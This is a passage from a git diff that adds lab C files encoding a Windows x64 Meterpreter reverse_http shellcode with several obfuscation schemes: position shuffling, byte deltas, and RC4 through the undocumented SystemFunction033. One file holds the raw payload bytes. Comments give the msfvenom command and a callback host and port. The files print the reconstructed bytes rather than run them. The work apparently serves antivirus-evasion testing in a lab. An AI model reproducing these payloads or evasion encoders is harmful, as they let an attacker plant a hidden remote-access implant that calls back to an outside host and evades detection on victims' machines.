705, 210, 126, 661, 374, 108, 472, 471, 593, 362, 105, 406, 334, 47, 655, 405, 545, 595, 207, 238, 357, 5, 44, 180, 32, 418, 351, 468, 46, 270, 430, 189, 58, 166, 653, 386, 494, 674, 222, 673, 85, 117, 672, 267, 693, 410, 103, 150, 2, 608, 217, 80, 627, 375, 25, 622, 572, 466, 53, 168, 167, 127, 97, 650, 473, 236, 81, 92, 573, 621, 319, 481, 99, 605, 421, 665, 37, 509, 422, 557, 8, 202, 688, 549, 161, 152, 241, 20, 214, 429, 45, 293, 615, 584, 306, 480, 144, 72, 555, 142, 298, 603, 312, 697, 263, 17, 377, 36, 190, 34, 96, 662, 156, 343, 39, 62, 585, 710, 100, 324, 121, 122, 556, 359, 287, 348, 225, 597, 305, 658, 231, 94, 489, 311, 619, 592, 448, 183, 516, 408, 474, 425, 281, 683, 290, 580, 567, 617, 132, 54, 84, 432, 644, 95, 233, 521, 643, 223, 520, 266, 364, 439, 139, 327, 14, 442, 30, 413, 38, 146, 204, 87, 323, 376, 251, 33, 441, 106, 477, 636, 424, 195, 373, 104, 685, 437, 244, 433, 31, 262, 598, 548, 329, 347, 388, 638, 93, 699, 160, 407, 52, 111, 234, 254, 464, 501, 354, 553, 138, 221, 42, 229, 642, 469, 260, 218, 158, 307, 171, 296, 245, 98, 201, 163, 455, 349, 355, 390, 276, 679, 18, 41, 116, 700, 211, 634, 164, 338, 288, 414, 544, 526, 48, 562, 51, 89, 589, 609, 342, 344, 332, 188, 601, 230, 484, 64, 185, 458, 570, 607, 687, 341, 706, 447, 668, 641, 538, 565, 252, 403, 331, 559, 200, 283, 284, 124, 82, 184, 297, 675, 232, 137, 435, 250, 345, 499, 399, 196, 500, 457, 224, 361, 73, 380, 689 }; + + +unsigned char shellcode[711] = { 0x00 }; +int position; + +// Reconstruct the payload +for (int idx = 0; idx < sizeof(positions) / sizeof(positions[0]); idx++) { + position = positions[idx]; + shellcode[position] = jigsaw[idx]; +} + + + + int idx = 0; + while ( idx < sizeof(shellcode)) + { + if (idx == (sizeof(shellcode) - 1) ) + { + printf("0x%02x ", (unsigned char)shellcode[idx]); + } + else + { + printf("0x%02x, ", (unsigned char)shellcode[idx]); + } + idx++; + } +} diff --git a/lab_results/metasploit/noobfuscation_work.c b/lab_results/metasploit/noobfuscation_work.c new file mode 100644 index 0000000..6d7eef5 --- /dev/null +++ b/lab_results/metasploit/noobfuscation_work.c @@ -0,0 +1,27 @@ +#include +#include + + +int main(void) +{ + + unsigned char shellcode[711] = {252, 72, 131, 228, 240, 232, 204, 0, 0, 0, 65, 81, 65, 80, 82, 72, 49, 210, 101, 72, 139, 82, 96, 72, 139, 82, 24, 72, 139, 82, 32, 81, 86, 72, 15, 183, 74, 74, 72, 139, 114, 80, 77, 49, 201, 72, 49, 192, 172, 60, 97, 124, 2, 44, 32, 65, 193, 201, 13, 65, 1, 193, 226, 237, 82, 72, 139, 82, 32, 139, 66, 60, 65, 81, 72, 1, 208, 102, 129, 120, 24, 11, 2, 15, 133, 114, 0, 0, 0, 139, 128, 136, 0, 0, 0, 72, 133, 192, 116, 103, 72, 1, 208, 68, 139, 64, 32, 73, 1, 208, 139, 72, 24, 80, 227, 86, 72, 255, 201, 65, 139, 52, 136, 77, 49, 201, 72, 1, 214, 72, 49, 192, 172, 65, 193, 201, 13, 65, 1, 193, 56, 224, 117, 241, 76, 3, 76, 36, 8, 69, 57, 209, 117, 216, 88, 68, 139, 64, 36, 73, 1, 208, 102, 65, 139, 12, 72, 68, 139, 64, 28, 73, 1, 208, 65, 139, 4, 136, 65, 88, 65, 88, 72, 1, 208, 94, 89, 90, 65, 88, 65, 89, 65, 90, 72, 131, 236, 32, 65, 82, 255, 224, 88, 65, 89, 90, 72, 139, 18, 233, 75, 255, 255, 255, 93, 72, 49, 219, 83, 73, 190, 119, 105, 110, 105, 110, 101, 116, 0, 65, 86, 72, 137, 225, 73, 199, 194, 76, 119, 38, 7, 255, 213, 83, 83, 232, 112, 0, 0, 0, 77, 111, 122, 105, 108, 108, 97, 47, 53, 46, 48, 32, 40, 87, 105, 110, 100, 111, 119, 115, 32, 78, 84, 32, 49, 48, 46, 48, 59, 32, 87, 105, 110, 54, 52, 59, 32, 120, 54, 52, 41, 32, 65, 112, 112, 108, 101, 87, 101, 98, 75, 105, 116, 47, 53, 51, 55, 46, 51, 54, 32, 40, 75, 72, 84, 77, 76, 44, 32, 108, 105, 107, 101, 32, 71, 101, 99, 107, 111, 41, 32, 67, 104, 114, 111, 109, 101, 47, 49, 51, 49, 46, 48, 46, 48, 46, 48, 32, 83, 97, 102, 97, 114, 105, 47, 53, 51, 55, 46, 51, 54, 0, 89, 83, 90, 77, 49, 192, 77, 49, 201, 83, 83, 73, 186, 58, 86, 121, 167, 0, 0, 0, 0, 255, 213, 232, 16, 0, 0, 0, 49, 57, 50, 46, 49, 54, 56, 46, 49, 57, 48, 46, 49, 51, 52, 0, 90, 72, 137, 193, 73, 199, 192, 80, 0, 0, 0, 77, 49, 201, 83, 83, 106, 3, 83, 73, 186, 87, 137, 159, 198, 0, 0, 0, 0, 255, 213, 232, 75, 0, 0, 0, 47, 117, 119, 68, 105, 89, 82, 78, 114, 99, 109, 122, 79, 55, 77, 95, 117, 112, 115, 65, 66, 80, 119, 106, 95, 108, 110, 105, 107, 52, 56, 55, 95, 71, 97, 66, 50, 83, 77, 116, 101, 49, 108, 106, 88, 102, 68, 80, 116, 57, 57, 70, 98, 116, 81, 65, 88, 53, 113, 86, 98, 49, 82, 105, 65, 84, 74, 79, 110, 113, 118, 120, 117, 45, 0, 72, 137, 193, 83, 90, 65, 88, 77, 49, 201, 83, 72, 184, 0, 2, 40, 132, 0, 0, 0, 0, 80, 83, 83, 73, 199, 194, 235, 85, 46, 59, 255, 213, 72, 137, 198, 106, 10, 95, 83, 90, 72, 137, 241, 77, 49, 201, 77, 49, 201, 83, 83, 73, 199, 194, 45, 6, 24, 123, 255, 213, 133, 192, 117, 31, 72, 199, 193, 136, 19, 0, 0, 73, 186, 68, 240, 53, 224, 0, 0, 0, 0, 255, 213, 72, 255, 207, 116, 2, 235, 204, 232, 85, 0, 0, 0, 83, 89, 106, 64, 90, 73, 137, 209, 193, 226, 16, 73, 199, 192, 0, 16, 0, 0, 73, 186, 88, 164, 83, 229, 0, 0, 0, 0, 255, 213, 72, 147, 83, 83, 72, 137, 231, 72, 137, 241, 72, 137, 218, 73, 199, 192, 0, 32, 0, 0, 73, 137, 249, 73, 186, 18, 150, 137, 226, 0, 0, 0, 0, 255, 213, 72, 131, 196, 32, 133, 192, 116, 178, 102, 139, 7, 72, 1, 195, 133, 192, 117, 210, 88, 195, 88, 106, 0, 89, 73, 199, 194, 240, 181, 162, 86, 255, 213}; + + printf("All this program does is store shellcode and print this message.\n"); + + int idx = 0; + while ( idx < sizeof(shellcode)) + { + if (idx == (sizeof(shellcode) - 1) ) + { + printf("0x%02x ", (unsigned char)shellcode[idx]); + } + else + { + printf("0x%02x, ", (unsigned char)shellcode[idx]); + } + idx++; + } + +} + diff --git a/lab_results/metasploit/offset_work.c b/lab_results/metasploit/offset_work.c new file mode 100644 index 0000000..b839a13 --- /dev/null +++ b/lab_results/metasploit/offset_work.c @@ -0,0 +1,50 @@ +#include +#include +#include + + +int main(){ + + + unsigned char first_byte = 0xfc;unsigned char delta[710] = {0x4c, 0x3b, 0x61, 0xc, 0xf8, 0xe4, 0x34, 0x0, 0x0, 0x41, 0x10, 0xf0, 0xf, 0x2, 0xf6, 0xe9, 0xa1, 0x93, 0xe3, 0x43, 0xc7, 0xe, 0xe8, 0x43, 0xc7, 0xc6, 0x30, 0x43, 0xc7, 0xce, 0x31, 0x5, 0xf2, 0xc7, 0xa8, 0x93, 0x0, 0xfe, 0x43, 0xe7, 0xde, 0xfd, 0xe4, 0x98, 0x7f, 0xe9, 0x8f, 0xec, 0x90, 0x25, 0x1b, 0x86, 0x2a, 0xf4, 0x21, 0x80, 0x8, 0x44, 0x34, 0xc0, 0xc0, 0x21, 0xb, 0x65, 0xf6, 0x43, 0xc7, 0xce, 0x6b, 0xb7, 0xfa, 0x5, 0x10, 0xf7, 0xb9, 0xcf, 0x96, 0x1b, 0xf7, 0xa0, 0xf3, 0xf7, 0xd, 0x76, 0xed, 0x8e, 0x0, 0x0, 0x8b, 0xf5, 0x8, 0x78, 0x0, 0x0, 0x48, 0x3d, 0x3b, 0xb4, 0xf3, 0xe1, 0xb9, 0xcf, 0x74, 0x47, 0xb5, 0xe0, 0x29, 0xb8, 0xcf, 0xbb, 0xbd, 0xd0, 0x38, 0x93, 0x73, 0xf2, 0xb7, 0xca, 0x78, 0x4a, 0xa9, 0x54, 0xc5, 0xe4, 0x98, 0x7f, 0xb9, 0xd5, 0x72, 0xe9, 0x8f, 0xec, 0x95, 0x80, 0x8, 0x44, 0x34, 0xc0, 0xc0, 0x77, 0xa8, 0x95, 0x7c, 0x5b, 0xb7, 0x49, 0xd8, 0xe4, 0x3d, 0xf4, 0x98, 0xa4, 0x63, 0x80, 0xec, 0x47, 0xb5, 0xe4, 0x25, 0xb8, 0xcf, 0x96, 0xdb, 0x4a, 0x81, 0x3c, 0xfc, 0x47, 0xb5, 0xdc, 0x2d, 0xb8, 0xcf, 0x71, 0x4a, 0x79, 0x84, 0xb9, 0x17, 0xe9, 0x17, 0xf0, 0xb9, 0xcf, 0x8e, 0xfb, 0x1, 0xe7, 0x17, 0xe9, 0x18, 0xe8, 0x19, 0xee, 0x3b, 0x69, 0x34, 0x21, 0x11, 0xad, 0xe1, 0x78, 0xe9, 0x18, 0x1, 0xee, 0x43, 0x87, 0xd7, 0x62, 0xb4, 0x0, 0x0, 0x5e, 0xeb, 0xe9, 0xaa, 0x78, 0xf6, 0x75, 0xb9, 0xf2, 0x5, 0xfb, 0x5, 0xf7, 0xf, 0x8c, 0x41, 0x15, 0xf2, 0x41, 0x58, 0x68, 0x7e, 0xfb, 0x8a, 0x2b, 0xaf, 0xe1, 0xf8, 0xd6, 0x7e, 0x0, 0x95, 0x88, 0x90, 0x0, 0x0, 0x4d, 0x22, 0xb, 0xef, 0x3, 0x0, 0xf5, 0xce, 0x6, 0xf9, 0x2, 0xf0, 0x8, 0x2f, 0x12, 0x5, 0xf6, 0xb, 0x8, 0xfc, 0xad, 0x2e, 0x6, 0xcc, 0x11, 0xff, 0xfe, 0x2, 0xb, 0xe5, 0x37, 0x12, 0x5, 0xc8, 0xfe, 0x7, 0xe5, 0x58, 0xbe, 0xfe, 0xf5, 0xf7, 0x21, 0x2f, 0x0, 0xfc, 0xf9, 0xf2, 0xe, 0xfd, 0xe9, 0x1e, 0xb, 0xbb, 0x6, 0xfe, 0x4, 0xf7, 0x5, 0x3, 0xea, 0x8, 0x23, 0xfd, 0xc, 0xf9, 0xff, 0xe0, 0xf4, 0x4c, 0xfd, 0x2, 0xfa, 0xbb, 0x27, 0x1e, 0xfe, 0x8, 0x4, 0xba, 0xf7, 0x23, 0x25, 0xa, 0xfd, 0xfe, 0xf8, 0xca, 0x2, 0x2, 0xfe, 0xfd, 0x2, 0xfe, 0x2, 0xfe, 0x2, 0xf0, 0x33, 0xe, 0x5, 0xfb, 0x11, 0xf7, 0xc6, 0x6, 0xfe, 0x4, 0xf7, 0x5, 0x3, 0xca, 0x59, 0xfa, 0x7, 0xf3, 0xe4, 0x8f, 0x8d, 0xe4, 0x98, 0x8a, 0x0, 0xf6, 0x71, 0x80, 0x1c, 0x23, 0x2e, 0x59, 0x0, 0x0, 0x0, 0xff, 0xd6, 0x13, 0x28, 0xf0, 0x0, 0x0, 0x31, 0x8, 0xf9, 0xfc, 0x3, 0x5, 0x2, 0xf6, 0x3, 0x8, 0xf7, 0xfe, 0x3, 0x2, 0x1, 0xcc, 0x5a, 0xee, 0x41, 0x38, 0x88, 0x7e, 0xf9, 0x90, 0xb0, 0x0, 0x0, 0x4d, 0xe4, 0x98, 0x8a, 0x0, 0x17, 0x99, 0x50, 0xf6, 0x71, 0x9d, 0x32, 0x16, 0x27, 0x3a, 0x0, 0x0, 0x0, 0xff, 0xd6, 0x13, 0x63, 0xb5, 0x0, 0x0, 0x2f, 0x46, 0x2, 0xcd, 0x25, 0xf0, 0xf9, 0xfc, 0x24, 0xf1, 0xa, 0xd, 0xd5, 0xe8, 0x16, 0x12, 0x16, 0xfb, 0x3, 0xce, 0x1, 0xe, 0x27, 0xf3, 0xf5, 0xd, 0x2, 0xfb, 0x2, 0xc9, 0x4, 0xff, 0x28, 0xe8, 0x1a, 0xe1, 0xf0, 0x21, 0xfa, 0x27, 0xf1, 0xcc, 0x3b, 0xfe, 0xee, 0xe, 0xde, 0xc, 0x24, 0xc5, 0x0, 0xd, 0x1c, 0x12, 0xdd, 0xf0, 0x17, 0xdd, 0x3c, 0xe5, 0xc, 0xcf, 0x21, 0x17, 0xd8, 0x13, 0xf6, 0x5, 0x1f, 0x3, 0x5, 0x2, 0xfd, 0xb8, 0xd3, 0x48, 0x41, 0x38, 0x92, 0x7, 0xe7, 0x17, 0xf5, 0xe4, 0x98, 0x8a, 0xf5, 0x70, 0x48, 0x2, 0x26, 0x5c, 0x7c, 0x0, 0x0, 0x0, 0x50, 0x3, 0x0, 0xf6, 0x7e, 0xfb, 0x29, 0x6a, 0xd9, 0xd, 0xc4, 0xd6, 0x73, 0x41, 0x3d, 0xa4, 0xa0, 0x55, 0xf4, 0x7, 0xee, 0x41, 0x68, 0x5c, 0xe4, 0x98, 0x84, 0xe4, 0x98, 0x8a, 0x0, 0xf6, 0x7e, 0xfb, 0x6b, 0xd9, 0x12, 0x63, 0x84, 0xd6, 0xb0, 0x3b, 0xb5, 0xaa, 0x29, 0x7f, 0xfa, 0xc7, 0x8b, 0xed, 0x0, 0x49, 0x71, 0x8a, 0xac, 0x45, 0xab, 0x20, 0x0, 0x0, 0x0, 0xff, 0xd6, 0x73, 0xb7, 0xd0, 0xa5, 0x8e, 0xe9, 0xe1, 0x1c, 0x6d, 0xab, 0x0, 0x0, 0x53, 0x6, 0x11, 0xd6, 0x1a, 0xef, 0x40, 0x48, 0xf0, 0x21, 0x2e, 0x39, 0x7e, 0xf9, 0x40, 0x10, 0xf0, 0x0, 0x49, 0x71, 0x9e, 0x4c, 0xaf, 0x92, 0x1b, 0x0, 0x0, 0x0, 0xff, 0xd6, 0x73, 0x4b, 0xc0, 0x0, 0xf5, 0x41, 0x5e, 0x61, 0x41, 0x68, 0x57, 0x41, 0x51, 0x6f, 0x7e, 0xf9, 0x40, 0x20, 0xe0, 0x0, 0x49, 0x40, 0x70, 0x50, 0x71, 0x58, 0x84, 0xf3, 0x59, 0x1e, 0x0, 0x0, 0x0, 0xff, 0xd6, 0x73, 0x3b, 0x41, 0x5c, 0x65, 0x3b, 0xb4, 0x3e, 0xb4, 0x25, 0x7c, 0x41, 0xb9, 0xc2, 0xc2, 0x3b, 0xb5, 0x5d, 0x86, 0x6b, 0x95, 0x12, 0x96, 0x59, 0xf0, 0x7e, 0xfb, 0x2e, 0xc5, 0xed, 0xb4, 0xa9, 0xd6 };unsigned char shellcode[711] = { 0x00 }; + + // msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f raw -o met.bin + // python3 offset.py -i met.bin + + //Size of shellcode array + int cap = sizeof(delta) / sizeof(delta[0]); + + //Setting first byte of the reconstituted array to the first byte of the payload + shellcode[0] = first_byte; + + // keep track of our positions + unsigned int delta_idx, shellcode_idx; + + /* Take initial byte and add the delta to it to get the second byte. Take second byte + and add second delta to get third byte and so on. */ + for (delta_idx = 0; delta_idx < cap; delta_idx++) + { + shellcode_idx = delta_idx + 1; + shellcode[shellcode_idx] = shellcode[delta_idx] + delta[delta_idx]; + } + + + for (int l = 0; l < cap + 1; l++) + { + //Last run needs to print closing bracket and semicolon + if (l == (cap)) { + printf("0x%02x", shellcode[l]); + } + else { + //Added a 1 because initial loop is true and adds a newline. This causes it to print 15 bytes and then a new line + if ((l + 1) % 15 == 0) { + printf("0x%02x,\n", shellcode[l]); + } + else { + printf("0x%02x,", shellcode[l]); + } + } + } + + return 0; +} diff --git a/lab_results/metasploit/rc4api_work.c b/lab_results/metasploit/rc4api_work.c new file mode 100644 index 0000000..aeb3906 --- /dev/null +++ b/lab_results/metasploit/rc4api_work.c @@ -0,0 +1,68 @@ +#include +#include + +/* + Based on https://osandamalith.com/2022/11/10/encrypting-shellcode-using-systemfunction032-033/ + + SystemFunction033 is an undocumented function that can perform RC4 encryption/decryption on a buffer. + Similar to XOR, calling SystemFunction033 on an a buffer containing unencrypted data encrypts the data in the buffer. + Calling SystemFunction033 on an a buffer containing encrypted data decrypts the data in the buffer. +*/ + + +// Function prototype for SystemFunction033 +typedef NTSTATUS(WINAPI* _SystemFunction033)( + struct ustring* memoryRegion, + struct ustring* keyPointer); + + +// Define our ustring struct +struct ustring { + DWORD Length; + DWORD MaximumLength; + PUCHAR Buffer; +} _data, key; + + +int main() { + + + // declare SystemFunction033 for use + _SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary((LPCSTR)"Advapi32"), (LPCSTR)"SystemFunction033"); + + char _key[] = "9UYWDXJIMPO121YC";char shellcode[] = {0x5d, 0x8a, 0xac, 0x31, 0xaa, 0x23, 0xa9, 0x3a, 0x2e, 0xce, 0xe2, 0xcb, 0xd2, 0x48, 0x24, 0x4c, 0x4b, 0x7a, 0x9d, 0x72, 0x38, 0x4e, 0x17, 0xb0, 0x32, 0x1f, 0x2e, 0xdc, 0x9b, 0x3f, 0x62, 0x34, 0xd1, 0x96, 0x4b, 0xaf, 0xe5, 0x7, 0xa3, 0x22, 0x75, 0x8e, 0x3d, 0x52, 0x21, 0x98, 0xf6, 0x71, 0xbb, 0xa9, 0x59, 0xb4, 0xd5, 0xa6, 0xc3, 0x8d, 0x7d, 0xd4, 0xe5, 0xd0, 0xb2, 0x9d, 0x89, 0x65, 0xd3, 0x93, 0x15, 0x76, 0x9, 0x93, 0x36, 0x5, 0x96, 0x82, 0xde, 0xaf, 0x8, 0xe6, 0x72, 0x23, 0xb2, 0x23, 0x15, 0xe1, 0xd, 0x28, 0xc6, 0xa5, 0xe9, 0x2b, 0x5d, 0x4, 0x60, 0x90, 0x6b, 0x8, 0x38, 0xae, 0xf4, 0xc2, 0x27, 0x9e, 0x7e, 0x3c, 0x79, 0x7f, 0x0, 0x26, 0x8d, 0x56, 0x62, 0xfa, 0x72, 0xac, 0xf4, 0x49, 0x5, 0x73, 0xec, 0xe2, 0xb7, 0x34, 0xf8, 0x9c, 0xbf, 0xcc, 0x12, 0xff, 0xd8, 0x54, 0x18, 0xa7, 0xd1, 0x80, 0x93, 0x5c, 0x5e, 0xf2, 0x43, 0xe3, 0xf2, 0x3f, 0x75, 0x7d, 0x30, 0x72, 0x50, 0x1a, 0x3a, 0xdc, 0xf0, 0xce, 0x29, 0x9, 0x76, 0x75, 0x6, 0xb8, 0x35, 0xda, 0x97, 0x71, 0x3a, 0x5a, 0x55, 0x99, 0xb5, 0xc, 0x41, 0xd0, 0x72, 0xbd, 0x9e, 0xa2, 0xe0, 0x9e, 0x17, 0x25, 0x79, 0x52, 0x18, 0xb1, 0xc0, 0xe9, 0x24, 0xff, 0xcb, 0x4, 0x24, 0x72, 0x28, 0x7f, 0xc3, 0x63, 0x94, 0xea, 0x7a, 0x1a, 0x61, 0x56, 0xa, 0xdb, 0xb3, 0xcc, 0x48, 0x8e, 0x1f, 0xb6, 0x1b, 0xb0, 0xb7, 0x6f, 0xd3, 0x24, 0xea, 0xc1, 0x40, 0x92, 0x56, 0xdf, 0xe7, 0xc4, 0x16, 0x5e, 0x6c, 0xf0, 0xb7, 0x72, 0x45, 0xff, 0x5a, 0x8f, 0xa, 0xe3, 0x45, 0x93, 0x1d, 0x33, 0x6f, 0xe3, 0x68, 0xba, 0x18, 0xd1, 0x30, 0x41, 0xcf, 0x15, 0xa0, 0xbc, 0x28, 0x1, 0x9f, 0xdf, 0x80, 0x56, 0x9e, 0xb6, 0x6e, 0x14, 0xb2, 0x60, 0xda, 0xc1, 0x8e, 0x98, 0xf5, 0xea, 0x56, 0x9b, 0x89, 0x36, 0xe0, 0xf0, 0x16, 0xbe, 0x49, 0x8c, 0x8f, 0x9f, 0x8b, 0xbb, 0x11, 0xc9, 0x39, 0xc1, 0xe1, 0x29, 0x9c, 0xe6, 0x51, 0x4e, 0x91, 0x72, 0x82, 0x4d, 0x20, 0x51, 0xa, 0x68, 0x2, 0x48, 0x44, 0x3c, 0x45, 0xef, 0x41, 0x93, 0xbd, 0x66, 0xa9, 0x17, 0x36, 0x35, 0x2f, 0x57, 0x11, 0xd7, 0xa0, 0x84, 0xe7, 0xcc, 0x80, 0x55, 0x39, 0x4, 0x54, 0xc8, 0xc, 0x8a, 0x8c, 0xb2, 0x56, 0x34, 0xf8, 0xcc, 0xe5, 0xf7, 0xe3, 0x1c, 0xd9, 0xde, 0x3a, 0xab, 0x2b, 0x4b, 0x9c, 0x6d, 0xb9, 0xa7, 0x2, 0x18, 0x1c, 0xdd, 0xe8, 0x68, 0x7a, 0xc3, 0xfd, 0x36, 0x79, 0xf3, 0x4c, 0x25, 0x8f, 0xf, 0xae, 0xd5, 0x3f, 0x90, 0x30, 0x35, 0xda, 0xd0, 0x5a, 0x90, 0x3e, 0x4e, 0xa7, 0x2e, 0x24, 0x24, 0xbb, 0xf5, 0x86, 0xb2, 0x32, 0xe0, 0x75, 0xa0, 0xd1, 0xfb, 0xe5, 0x18, 0xab, 0x56, 0x44, 0x67, 0xb9, 0x24, 0x8a, 0xdd, 0x45, 0x40, 0x17, 0xcf, 0x60, 0xb3, 0x51, 0xb4, 0x24, 0xb8, 0xb, 0x37, 0xee, 0x4, 0x5e, 0xa5, 0xfe, 0xe6, 0xba, 0x42, 0xee, 0xaf, 0x6b, 0x59, 0x1f, 0x34, 0xb, 0x86, 0x7d, 0xb9, 0x3d, 0x5b, 0x39, 0xc4, 0x40, 0xea, 0x57, 0xc2, 0x78, 0xc1, 0xd5, 0x48, 0x19, 0xe7, 0x8f, 0x3e, 0x3d, 0x90, 0x9a, 0x7d, 0x2f, 0x87, 0x86, 0x9, 0xc3, 0x25, 0xd3, 0x60, 0x63, 0x5, 0x30, 0xaf, 0x16, 0xe1, 0x88, 0x34, 0xde, 0xc4, 0x61, 0x3e, 0xf0, 0xd0, 0xba, 0x1b, 0x53, 0x56, 0xd3, 0x2f, 0xdb, 0x5b, 0x17, 0x34, 0xb6, 0xb0, 0x92, 0x4e, 0x30, 0x3e, 0xe7, 0x7b, 0x2a, 0x10, 0xa2, 0x5a, 0xdc, 0x8, 0x36, 0xeb, 0x14, 0x76, 0x7f, 0x8d, 0xe5, 0x23, 0x95, 0xf6, 0x65, 0x5b, 0xfb, 0x84, 0x66, 0x45, 0xcc, 0x4b, 0xf6, 0xb, 0x2d, 0x9f, 0x5b, 0x60, 0xdb, 0xe0, 0x5a, 0x2a, 0x8e, 0xc5, 0xcd, 0x6, 0xd5, 0xd4, 0xb0, 0x28, 0x99, 0xbc, 0xa6, 0xd4, 0x4a, 0x50, 0x98, 0x19, 0x63, 0x5f, 0x6f, 0xac, 0x19, 0x3d, 0xf5, 0x92, 0x94, 0x7c, 0x5d, 0x23, 0x6e, 0x42, 0xed, 0x9e, 0xe1, 0xfb, 0x7, 0xb6, 0x49, 0xaa, 0xbe, 0xa, 0x15, 0xdb, 0xac, 0x9f, 0xaf, 0x87, 0x84, 0xc, 0x23, 0x6c, 0xd8, 0xb9, 0x13, 0xa1, 0x80, 0xd, 0x8e, 0xc6, 0xda, 0x40, 0x1, 0x0, 0xc, 0xbc, 0xff, 0x85, 0x20, 0xf3, 0xfa, 0xd4, 0x6, 0x9b, 0x52, 0x5a, 0x3b, 0x1c, 0x90, 0x5d, 0x54, 0x6, 0x84, 0x49, 0xe2, 0xdb, 0xee, 0x7d, 0x59, 0x90, 0x8, 0x78, 0x64, 0xf4, 0x8f, 0x61, 0x23, 0x31, 0x8e, 0x28, 0x79, 0x9a, 0x67, 0xae, 0xe2, 0x36, 0x5d, 0x53, 0xee, 0x9a, 0x55, 0x84, 0x2e, 0x90, 0xc1, 0xd1, 0xd0, 0x7d, 0x9c, 0x6b, 0x2e, 0x5c, 0xfb, 0x33, 0x5b, 0x62, 0xc, 0xa6, 0x8f, 0x95, 0x4a, 0x1b, 0xd2, 0x64, 0x87, 0xeb, 0xb8, 0x59, 0x8, 0x93, 0x2e, 0x26, 0xc8, 0x81, 0xea, 0xe4, 0x9, 0xeb, 0x37, 0xd9, 0xd4, 0x8e, 0x52, 0x77, 0x59, 0xc5, 0xf9, 0xaa, 0xd2, 0x3a, 0x19, 0x29, 0x1c, 0xc4, 0x7, 0x6b, 0x72, 0xe1, 0xbe, 0x26, 0xbc, 0x77, 0x8f, 0xfc, 0x77, 0x0, 0xdb, 0x1f, 0xc2, 0xe0, 0xe0, 0xea, 0x89, 0xb1, 0x48, 0x10, 0xa1}; + + // msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f raw -o met.bin + // python3 rc4_encrypt.py -i met.bin + /*char _key[] = "XK53QSV2MSEPPKAU"; + unsigned char shellcode[] = {0xee, 0x8, 0x63, 0x24, 0x95, 0x5e, 0xb3, 0xf4, 0xd6, 0x8a, 0xbe, 0xbb, 0xb3, 0xd0, 0x7f, 0x9f, 0xfc, 0x67, 0x13, 0x75, 0x6b, 0xd0, 0x5c, 0xc7, 0x9d, 0x39, 0x21, 0x20, 0x64, 0x98, 0x53, 0xe4, 0x96, 0x3a, 0x40, 0x35, 0xb2, 0xc1, 0xe2, 0xd2, 0xc2, 0xe, 0x7b, 0x7, 0xb2, 0xae, 0x14, 0xd7, 0x3, 0xa7, 0xcf, 0xb3, 0x13, 0x86, 0xc5, 0x8, 0x2b, 0x8d, 0x7c, 0xa7, 0xdd, 0x94, 0xd8, 0x47, 0x8, 0xee, 0xb7, 0x1b, 0xf2, 0x83, 0x32, 0x85, 0x8a, 0xbb, 0xee, 0x46, 0xd3, 0x9c, 0xd8, 0x75, 0xe0, 0xc0, 0x5e, 0x48, 0x4a, 0xb, 0xaf, 0xb6, 0x97, 0x57, 0x96, 0x96, 0x47, 0x70, 0xa2, 0x99, 0x15, 0x30, 0xbd, 0x70, 0x36, 0xa1, 0x47, 0x79, 0x6a, 0xec, 0x46, 0x8b, 0x7e, 0x46, 0xc5, 0xbe, 0x30, 0x6b, 0x1d, 0x4, 0xfb, 0x4f, 0x5a, 0xa4, 0x77, 0xfa, 0xbf, 0x2f, 0xbd, 0xd4, 0x6d, 0x73, 0xd3, 0xc9, 0xff, 0xe4, 0x78, 0x14, 0x47, 0xaa, 0xf8, 0x90, 0x29, 0x61, 0x1f, 0xa9, 0xcd, 0xb7, 0xac, 0xfe, 0x35, 0x40, 0x5c, 0x61, 0x2b, 0xf9, 0x2e, 0x4b, 0x40, 0xdd, 0x7e, 0x31, 0xe3, 0x3c, 0xd1, 0x20, 0xca, 0x60, 0xaf, 0x56, 0x4e, 0xfd, 0x89, 0xa4, 0x48, 0x70, 0x6b, 0xf0, 0xc2, 0x64, 0x75, 0x22, 0xd8, 0xfc, 0x78, 0x13, 0xb7, 0x2a, 0x0, 0x41, 0xfd, 0xe9, 0x69, 0x79, 0x73, 0x34, 0x70, 0x3d, 0x9b, 0xd5, 0x2c, 0x85, 0x47, 0x9d, 0x22, 0x80, 0x30, 0x42, 0xaa, 0xa3, 0xe9, 0xe0, 0xf, 0x8f, 0x31, 0xb6, 0x0, 0xef, 0xdb, 0x70, 0xe6, 0x64, 0x1a, 0xd0, 0xba, 0x54, 0x89, 0x8a, 0xe6, 0xff, 0x4d, 0xca, 0x46, 0x43, 0xd1, 0xa5, 0xcc, 0x43, 0xa1, 0x69, 0x75, 0xb6, 0x5b, 0xe8, 0x2, 0xf3, 0x52, 0xab, 0x28, 0xc3, 0xdb, 0xd2, 0x54, 0x7, 0xa2, 0x67, 0xe, 0x91, 0x4, 0x5e, 0x23, 0xbe, 0xa0, 0x32, 0x7a, 0x44, 0x96, 0xdd, 0x1f, 0xbb, 0x5b, 0x1a, 0xde, 0xb5, 0x8f, 0xea, 0xb1, 0x53, 0x28, 0x50, 0xa, 0x5f, 0xdf, 0x25, 0x4a, 0xf, 0x18, 0x5c, 0x15, 0x12, 0xbe, 0xb3, 0x3c, 0x6e, 0x87, 0xc, 0x83, 0x2a, 0xfb, 0x8e, 0x69, 0x4f, 0xe0, 0x3c, 0x9f, 0xfe, 0x9f, 0x14, 0x60, 0x4b, 0xa, 0x5a, 0xc9, 0x69, 0x37, 0x67, 0x31, 0x3b, 0xb5, 0xe5, 0x74, 0xc5, 0xb3, 0x11, 0x4e, 0xab, 0x9c, 0x46, 0xcd, 0xf9, 0x9b, 0x72, 0xde, 0xf8, 0xb4, 0x4, 0xb1, 0x7e, 0x76, 0xc7, 0xb3, 0xb1, 0xe9, 0x23, 0x7a, 0xcc, 0xf1, 0x90, 0x49, 0xee, 0xe6, 0x3d, 0x18, 0x84, 0xc0, 0x9e, 0x1a, 0xe3, 0xe4, 0xb8, 0x21, 0x3d, 0xf6, 0xb6, 0x39, 0x85, 0x94, 0x56, 0x6e, 0x12, 0xed, 0xb3, 0x62, 0x51, 0x69, 0x2f, 0x7e, 0xc9, 0xaf, 0xb5, 0x73, 0xa, 0xd3, 0xc1, 0x53, 0xb7, 0x21, 0x87, 0x3, 0x6a, 0x51, 0xde, 0x12, 0xf9, 0x62, 0x31, 0x1f, 0xb2, 0x14, 0x48, 0x75, 0xc8, 0xb2, 0x5c, 0x62, 0x3, 0x29, 0xe4, 0xa4, 0xb9, 0xa0, 0x7a, 0xea, 0x6e, 0x6, 0xf4, 